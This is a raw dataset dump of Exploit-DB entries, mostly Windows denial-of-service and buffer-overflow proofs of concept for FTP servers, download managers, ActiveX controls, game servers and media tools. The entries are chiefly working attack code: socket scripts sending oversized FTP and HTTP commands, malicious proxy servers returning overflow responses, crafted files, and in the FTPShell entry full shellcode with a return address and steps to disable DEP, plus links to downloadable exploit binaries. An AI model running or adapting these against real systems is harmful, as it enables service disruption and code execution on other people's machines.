deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41637
Description: FTPShell Server 6.56 - 'ChangePassword' Buffer Overflow
Type: dos
Platform: windows
Date: 2017-03-19
Author: ScrR1pTK1dd13

Exploit:
print '''
 
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com   # 
                ##############################################
 
# Exploit Title: FTPShell Server 6.56 ChangePassword DEP off BufferOverflow 0Day 
# Date: 2017.03.19
# Exploit Author: Greg Priest
# Version: FTPShell Server 6.56
# Tested on: Windows7 x64 HUN/ENG Enterprise
'''

overflow = "A" * 1249
jmp_esp = "\xC8\x28\x3C\x76"
nop = "\x90" * 10
shellcode=(
"\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")

evilstring = overflow+jmp_esp+nop+shellcode
 
 
file = open ('Ev1lstr1ng.txt', "w")
file.write(evilstring)
file.close

print '''
Instruction how to use it:
-DEP turn off: C:\Windows\system32>bcdedit.exe /set {current} nx AlwaysOff
1)Manage FTP Account-->
2)Change pass Ev1lstr1ng.txt -->
3)Do you really change...? --> click NO!!
Succesfully Exploitation!!
 
'''
Exploit-DB #46430
Description: FTPShell Server 6.83 - 'Account name to ban' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-20
Author: Victor Mondragón

Exploit:
#Exploit Title: FTPShell Server 6.83 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-20
#Vendor Homepage: http://www.ftpshell.com/index.htm
#Software Link: http://www.ftpshell.com/downloadserver.htm
#Tested Version: 6.83
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: FTPShell_Server_6.83.py
#2.- Open ftpshell.txt and copy content to clipboard
#3.- Open FTPShell Server
#4.- Select "Manage FTP Accounts"
#5.- Select "Add Account Name" > in "Account name to ban" Paste Clipboard
#6.- Click on "Ok"
#7.- Crashed

cod = "\x41" * 417	

f = open('ftpshell.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #10160
Description: FtpXQ 3.0 - (Authenticated) Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-11-17
Author: Marc Doudiet

Exploit:
#!/usr/bin/python

banner=(
"*************************\r\n"
"* Exploit Title: FtpXQ authenticated remote Dos "
"* (trial on http://www.datawizard.net/Products/FtpXQ/Setup.EXE) Version 3.0.1 \r\n"
"* Tested on XP sp2 english"
"* Needs write access --> vuln on MKD command\r\n"
"* Vulnerability found by Marc Doudiet\r\n"
"* For educational purpose only\r\n"
"* Proof of concept code\r\n")


import socket
import sys

def Usage():
    print ("Usage: ./ftpxq.py <Username> <password> <host>\n")

string="A"*400

def start(username, password, hostname):
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print banner
    	try:
        	s.connect((hostname, 21))
		print "[-] Connecting to the FTP ..."
    	except:
        	print ("[-] Connection error!")
        	sys.exit(1)
	s.recv(1024)
	s.send('USER '+username+'\r\n')
	s.recv(1024)
	s.send('PASS '+password+'\r\n')
	s.recv(1024)
	print "[-] Sending evil buffer ...\r\n"
	s.send('MKD '+string+'\r\n')

if len(sys.argv) <> 4:
	Usage()
	sys.exit(1)
else:
	hostname=sys.argv[1]
	username=sys.argv[2]
	passwd=sys.argv[3]
	start(hostname,username,passwd)
	print "[-] Exploit seems to work"
	sys.exit(0)
Exploit-DB #9664
Description: FtpXQ FTP Server 3.0 - (Authenticated) Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-09-14
Author: PLATEN

Exploit:
#!/usr/bin/python
print "############################################################"
print "##                Iranian Pentesters Home                 ##"
print "##                   Www.Pentesters.Ir                    ##"
print "##                  PLATEN -[ H.jafari ]-                 ##"
print "## FtpXQ FTP Server 3.0 Remote Denial Of Service Exploit  ##"
print "## author: PLATEN                                         ##"
print "## E-mail && blog:                                        ##"
print "## hjafari.blogspot.com                                   ##"
print "## platen.secure[at]gmail[dot]com                         ##"
print "## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder                ##"
print "## and all members in Pentesters.ir                       ##"
print "############################################################"
import socket
import sys
def Usage():
    print ("Usage: ./expl.py <host> <Username> <password>\n")
buffer= "./A" * 6300
def start(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
	
    sock.send("ABOR %s\r\n" %buffer)
    sock.close()

if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    start(hostname,username,passwd)
    sys.exit(0)

# milw0rm.com [2009-09-14]
Exploit-DB #25255
Description: FUN labs Game Engine - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2005-03-20
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12862/info

Multiple FUN labs games are affected by remote denial of service vulnerabilities.

A remote attacker can cause a game server to stop responding by sending an empty UDP packet.

Another vulnerability can allow a remote attacker to send a malformed join packet and crash the server.

These issues can be exploited to cause a denial of service condition in the server. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25255.zip
Exploit-DB #46338
Description: FutureDj Pro 1.7.2.0 - Denial of Service
Type: dos
Platform: windows
Date: 2019-02-11
Author: Achilles

Exploit:
# Exploit Title: FutureDj Pro Local Dos Exploit
# Date: 07.02.2019
# Vendor Homepage: https://www.xylio.com
# Software Link:   https://www.xylio.com/future-dj-pro-a-new-level-of-mixing-perfection/
# Exploit Author: Achilles
# Tested Version: 1.7.2.0 32bit
# Tested on: Windows 7 SP1 Ultimate

# 1.- Run python code : FutureDj Pro.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open future.dj.exe
# 4.- In the New Window click start Free Trial and then 'Click here to Buy'
# 5.- And then 'i already bought it'
# 6.- Paste the Content of EVIL.txt into the 'Unlock key' Name field.
# 7.- Click 'OK'
# 8.- Click 'OK'
# 9.- Click 'Exit'
# 10.- And you will see a crash


#!/usr/bin/env python

buffer = "\x41" * 5000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #45017
Description: G DATA Total Security 25.4.0.3 - Activex Buffer Overflow
Type: dos
Platform: windows
Date: 2018-07-13
Author: Filipe Xavier Oliveira

Exploit:
<!--
=====[ Tempest Security Intelligence - ADV-24/2018 ]===

G DATA TOTAL SECURITY v25.4.0.3 Activex Buffer Overflow
Author: Filipe Xavier Oliveira
Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]=====================================================

* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Overview]==============================================================

* System affected : G DATA TOTAL SECURITY [1].
* Software Version : 25.4.0.3 (other versions may also be affected).
* Impact : A user may be affected by opening a malicious black list
email in the antispam filter,

=====[ Detailed description]==================================================
The GDASPAMLib.AntiSpam ActiveX control ASK\GDASpam.dll in G DATA Total
Security 25.4.0.3 has a buffer overflow via a long IsBlackListed argument.
Through a long input in a member of class called Antispam, isblackedlist
class is vulnerable a buffer overflow.

A poc that causes a buffer overflow :
-->

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:B9D1548D-4339-485A-ABA2-F9F9C1CBF8AC' id='target' />
<script language='vbscript'>


'for debugging/custom prolog
targetFile = "C:\Program Files\G DATA\TotalSecurity\ASK\GDASpam.dll"
prototype = "Function IsBlackListed ( ByVal strIP As String ) As Long"
memberName = "IsBlackListed"
progid = "GDASPAMLib.AntiSpam"
argCount = 1

arg1=String(14356, "A")

target.IsBlackListed arg1

</script></job></package>

<!--
=====[ Timeline of disclosure]===============================================

04/10/2018 - Vulnerability reported.
04/17/2018 - The vendor will fix the vulnerability.
05/24/2017 - Vulnerability fixed.

07/12/2018 - CVE assigned [1]

=====[ Thanks & Acknowledgements]============================================

- Tempest Security Intelligence / Tempest's Pentest Team [3]

=====[ References]===========================================================

[1] https://www.gdatasoftware.com/

[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10018

[3] http://www.tempest.com.br 

=====[ EOF]====================================================================
-->
Exploit-DB #26139
Description: Gaim AIM/ICQ Protocols - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2005-08-10
Author: Brandon Perry

Exploit:
source: https://www.securityfocus.com/bid/14531/info

Gaim is prone to multiple vulnerabilities affecting the AIM and ICQ protocols. These issues may allow remote attackers to trigger a buffer overflow or a denial-of-service condition.

All versions of Gaim 1.x are considered vulnerable at the moment. 

%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
Exploit-DB #9480
Description: GDivX Zenith Player AviFixer Class - 'fix.dll 1.0.0.1' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-05-09
Author: rgod

Exploit:
<html>
 <object classid='clsid:2225E9BC-AFB3-4ED4-B20E-4F6CF1C39F8B' id='target'></object>
  <script language = 'vbscript'>
   ' IE 6 / GDivX Zenith Player AviFixer Class (fix.dll v. 1.0.0.1) buffer overflow POC by rgod
   ' tested on xp sp2
   EIP= "BBBB"
   BOF=String(264, "A") + EIP + String(9999, unescape("%90"))
   target.SetInputFile BOF
 </script>
</html>

# milw0rm.com [2007-05-09]
Exploit-DB #24586
Description: Gearbox Software Halo Combat Evolved 1.x - Game Server Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-09-09
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11147/info

The Halo Combat Evolved game server is reported prone to a remote denial of service vulnerability.

A remote attacker may exploit this vulnerability to deny service for legitimate game players.

Patches are available to address the issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24586.zip
Exploit-DB #25699
Description: Gearbox Software Halo Game Server 1.06/1.07 - Infinite Loop Denial of Service
Type: dos
Platform: windows
Date: 2005-05-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/13728/info

The Halo Game Server is prone to a denial-of-service condition. The issue arises when malformed data is sent to the game server, causing it to enter an infinite loop.

This issue was reported to affect Halo Game Server 1.06; earlier versions are likely vulnerable.

UPDATE: The vulnerability also affects Halo Game Server 1.07. 


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25699-2.zip
Exploit-DB #19624
Description: Gene6 G6 FTP Server 2.0 - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 1999-11-17
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/805/info

The G6 FTP Server, by Gene6, is vulnerable to a buffer overflow attack. If 2000 characters are sent as the username or password, the software will use up all available memory and CPU time and bring the host to a halt. 

Source - 19624-1.zip
Binary - 19624-2.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19624-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19624-2.exe
Exploit-DB #1783
Description: Genecys 0.2 - Buffer Overflow / NULL Pointer (Denial of Service)
Type: dos
Platform: windows
Date: 2006-05-14
Author: Luigi Auriemma

Exploit:
# Genecys <= 0.2 (BoF/NULL pointer) Denial of Service Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1783.zip (05132006-genecysbof.zip)

# milw0rm.com [2006-05-14]
Exploit-DB #12531
Description: GeoHttpServer - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-05-08
Author: aviho1

Exploit:
#!/usr/bin/perl

# Exploit Title: GeoHttpServer remote DoS
# Date: 7-5-2010
# Author: aviho1
# vendor: GeoVision
# Version: all
#info: the password recovery page does not properly validate user-supplied
password ,causing a dos.
use IO::Socket;

my $host = shift || 'localhost'; # Target host
my $port = shift || 80;

my $req = "POST /HintPwd.htm HTTP/1.1\r\n";
$req .= "Host: $host:$port\r\n";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he;
rv:1.9.0.7) Gecko/[PII_REDACTED] Firefox/3.0.7 (.NET CLR 3.5.30729)\r\n";
$req .= "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$req .= "Accept-Language: he,en-US;q=0.7,en;q=0.3\r\n";
$req .= "Accept-Encoding: gzip,deflate\r\n";
$req .= "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n";
$req .= "Keep-Alive: 300\r\n";
$req .= "Connection: keep-alive\r\n";
$req .= "Referer: http://$host/\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: 309\r\n\r\n";
$req .=  "id=" . "A" x 300 . "&OK=OK";
print "\nConnecting to $host on port $port\n";

my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => $port, Proto
=> 'tcp');
$sock or die "Cannot connect to server: $!";
print "Sending HTTP request..\n";
print $sock $req;
print "Exploited. Target should be DoSed\n";

close $sock;
Exploit-DB #14036
Description: Geomau 7 - '.wg2' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-06-24
Author: Madjix

Exploit:
#!/usr/bin/perl
###################################################################
#Exploit Title : Geomau 7 (.wg2) local Buffer Overflow Poc
#tested on windows xp SP 3 FR
#Author: MadjiX - Dz8[at]HotmaiL[dot]CoM
#download: http://math.exeter.edu/rparris/peanut/wgau32z.exe
#Special Greets:Bibi-info , His0k4 [ where are you :( ]
###################################################################
#EAX 0012F640
#ECX 00BB8F68
#EDX 00004789
#EBX 41414141
#ESP 0012F5F4
#EBP 0012F5F8
#ESI 00000032
#EDI 00000000
#EIP 0058AF23 wgeomau.0058AF23
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 1 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDF000(FFF)
#T 0 GS 0000 NULL
###################################################################
my $file = "MadjiX.wg2";

my $hd =
"\x71\x02\x00\x00\x32\x00\x00\x00\x42\x01\x00\x00\x5F\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00".
"\x00\x00\x00\x00\x01\x00\x00\x00\x3D\x00\x00\x00\xD9\xFF\xFF\xFF\x2C\x01\x00\x00\x64\x00\x00\x00".
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x00\x00\x00\x0F\x00\x00\x00\x2B\xD0\x28\x01".
"\x49\x1E\x29\x01\x00\x00\x00\x00\x0C\x00\x00\x00\x0A\x00\x00\x00\x0A";

my $junk = "\x41" x 10000 ;
open($FILE,">$file");
print $FILE $hd.$junk;
close($FILE);
Exploit-DB #43432
Description: GetGo Download Manager 5.3.0.2712 - 'Proxy' Buffer Overflow
Type: dos
Platform: windows
Date: 2018-01-05
Author: devcoinfet

Exploit:
 # Exploit Title: Buffer overflow vulnerability in GetGo Download Manager proxy options 5.3.0.2712
# Date: 01-02-2018
# Tested on Windows 8 64 bits 
# Exploit Author: devcoinfet
# Contact: https://twitter.com/wabefet
# Software Link: http://www.getgosoft.com/getgodm/ 
# Category: webapps
# Attack Type: Remote
# Impact: Code Execution 
 
#to be vulnerable victim must have a  proxy selected that will maliciously return data in response
#select proxy ip of host running this script incase You  have vm running the software
#set port of proxy on getgo under proxy settings as well now when you download any page
#or any file the program incorrectly parses the response and passes request to malicious host triggering overlfow

default_evilbuffer = "A" * 7500

def main():
    ip = "10.10.10.6"
    port = 8055
    fuzz_test(ip,default_evilbuffer,port)
    
def fuzz_test(ip,payload,port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((ip, port))
    s.listen(1)
    print "\n[+] Listening on %d ..." % port
 
    cl, addr = s.accept()
    print "[+] Connection accepted from %s" % addr[0]
    print "[+] Pushing fuzz test to %s" % addr[0]
 
    buffer = "HTTP/1.1 200 " + payload + "\r\n"
 
    print cl.recv(1000)
    cl.send(buffer)
    print "[+] Sending Fuzzed buffer From Mailicious Proxy: OK\n"
    print "[+] Payload type Default Buffer of 7500 A's"
 
    sleep(3)
    cl.close()
    s.close()
 
if __name__ == '__main__':
    import socket
    from time import sleep
    main()
Exploit-DB #43391
Description: GetGo Download Manager 5.3.0.2712 - Buffer Overflow
Type: dos
Platform: windows
Date: 2017-12-26
Author: Aloyce J. Makalanga

Exploit:
# Exploit Title: Buffer overflow vulnerability in GetGo Download Manager 5.3.0.2712
# CVE: CVE-2017-17849
# Date: 22-12-2017
# Tested on Windows 10 32 bits 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Software Link: http://www.getgosoft.com/getgodm/ 
# Category: webapps
# Attack Type: Remote
# Impact: Code Execution 


 
1. Description

A buffer overflow vulnerability in GetGo Download Manager 5.3.0.2712 and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution on the victim computer. 

   
2. Proof of Concept

 

def main():
    host = "192.168.205.128"
    port = 80

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    s.listen(1)
    print "\n[+] Listening on %d ..." % port

    cl, addr = s.accept()
    print "[+] Connection accepted from %s" % addr[0]

    evilbuffer = "A" * 4105
    hardCodedEIP= "\x69\x9E\x45\x76" #This is a hardcoded EIP just for demo . As you can see on the screenshot, we hit a breakpoint, right here on this EIP. Do you see our stack!!! You need to change this. 
    pads  = "C"*(6000 - len(evilbuffer + hardCodedEIP))
    payload = evilbuffer + hardCodedEIP + pads

    buffer = "HTTP/1.1 200 " + payload + "\r\n"

    print cl.recv(1000)
    cl.send(buffer)
    print "[+] Sending buffer: OK\n"

    sleep(3)
    cl.close()
    s.close()

if __name__ == '__main__':
    import socket
    from time import sleep
    main()

3. Solution:

   No solution as of yet.
Exploit-DB #45087
Description: GetGo Download Manager 6.2.1.3200 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-07-25
Author: Nathu Nandwani

Exploit:
# Exploit Title: GetGo Download Manager 6.2.1.3200 - Buffer Overflow (Denial of Service)
# Date: 2018-07-25
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co
# CVE: CVE-2017-17849
# Tested On: Windows 7 x86, Windows 10 x64 
#
# Details
# 
# The downloader feature of GetGo Download Manager is vulnerable 
# to a buffer overflow which can cause a denial of service.
# To test the proof of concept, have it executed in your machine
# and let the GetGo application download 'index.html' from your 
# given IP.
#
# SEH details (Windows 7 x86):
#
# SEH chain of thread 00000644, item 1
# Address=0863E2C8
# SE handler=68463967 <-> 4108 offset
#
# SEH chain of thread 00000644, item 2
# Address=46386746 <-> 4104 offset
# SE handler=*** CORRUPT ENTRY ***

import socket
 
server_ip = "0.0.0.0"
server_port = 80
payload = "A" * 4104 + "BBBB" + "\xcc\xcc\xcc\xcc" + "D" * 11000 + "\r\n"
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)

print "Currently listening at " + server_ip + ":" + str(server_port)  

client, (client_host, client_port) = sock.accept()
print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)

client.send(payload)
print "Sent payload"

client.close()
sock.close()
Exploit-DB #677
Description: GetRight 5.2a - '.grs' Skin File Buffer Overflow
Type: dos
Platform: windows
Date: 2004-12-06
Author: ATmaCA

Exploit:
GetRight Skin File (*.grs) Buffer Overflow May Let Remote Users Run Arbitrary
Code

Application:  GetRight
             Headlight Software
             www.getright.com

Author:
ATmaCA <atmaca@prohack.net>

a remote user can create a malicious skin file (*.grs) that, when loaded by the
target user, will trigger a buffer overflow in DUNZIP32.DLL (4.0.0.3) and
potentially execute arbitrary code.

AFFECTED VERSION:
Versions verified to be vulnerable:
GetRight 5.2a and prior versions are affected.

Solutions:
There was no response.

Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/677.grs (c_skin.grs)
When you copy or click this link, getright automaticly download and try to load
crafted skin and will trigger buffer overflow

# milw0rm.com [2004-12-06]